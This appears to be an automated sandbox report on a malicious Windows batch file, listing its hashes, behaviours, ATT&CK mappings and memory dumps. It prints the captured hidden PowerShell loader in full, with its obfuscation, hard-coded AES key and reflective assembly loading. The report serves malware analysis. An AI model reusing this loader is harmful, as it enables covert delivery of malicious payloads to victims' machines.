44baa120c32e2bbe83d9c1b1f8b2cc269e1e18c53efd08a648bf068ccef3153e

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
29/05/2024, 13:50

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General

Target

44baa120c32e2bbe83d9c1b1f8b2cc269e1e18c53efd08a648bf068ccef3153e.bat
Size

330KB
MD5

54c448c9e570016b04f3f297447b3504
SHA1

6e0470f78a958153b513301505ff9379a2a625a0
SHA256

44baa120c32e2bbe83d9c1b1f8b2cc269e1e18c53efd08a648bf068ccef3153e
SHA512

a5bd205f446a3a04fe753a58983c8df7a468c9b90966c07339f1eb8d36b3ced1975660e102b15fc83b65e3794c8ffb6d40ff74f8a94c1ae8e33ffa0b4599fad6
SSDEEP

6144:qjP2m4Zg7LMk5EB11YdkawH8vlP+JamAtdQbCEk+ajFbkDUJEc+cEPMPonbK0v/b:qSm6g7LL6L/1HklP+szy+Fbkk5xwMAn7

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3040	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1888 wrote to memory of 3040	1888	cmd.exe	29
PID 1888 wrote to memory of 3040	1888	cmd.exe	29
PID 1888 wrote to memory of 3040	1888	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\44baa120c32e2bbe83d9c1b1f8b2cc269e1e18c53efd08a648bf068ccef3153e.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('as5c4IKZBGAmU1MTJQmpbySOtylqsc8fmQAXEiLJEX4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ikgpE1TVZfyQiJXiGT8UmQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zwmaY=New-Object System.IO.MemoryStream(,$param_var); $AOOts=New-Object System.IO.MemoryStream; $lNIen=New-Object System.IO.Compression.GZipStream($zwmaY, [IO.Compression.CompressionMode]::Decompress); $lNIen.CopyTo($AOOts); $lNIen.Dispose(); $zwmaY.Dispose(); $AOOts.Dispose(); $AOOts.ToArray();}function execute_function($param_var,$param2_var){ $XobNX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bHvvl=$XobNX.EntryPoint; $bHvvl.Invoke($null, $param2_var);}$pPSNx = 'C:\Users\Admin\AppData\Local\Temp\44baa120c32e2bbe83d9c1b1f8b2cc269e1e18c53efd08a648bf068ccef3153e.bat';$host.UI.RawUI.WindowTitle = $pPSNx;$MNJUA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pPSNx).Split([Environment]::NewLine);foreach ($NMxlJ in $MNJUA) { if ($NMxlJ.StartsWith(':: ')) { $QHzcy=$NMxlJ.Substring(3); break; }}$payloads_var=[string[]]$QHzcy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3040-4-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

Filesize
4KB

Download
memory/3040-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/3040-8-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-9-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-7-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-6-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/3040-11-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-10-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-12-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download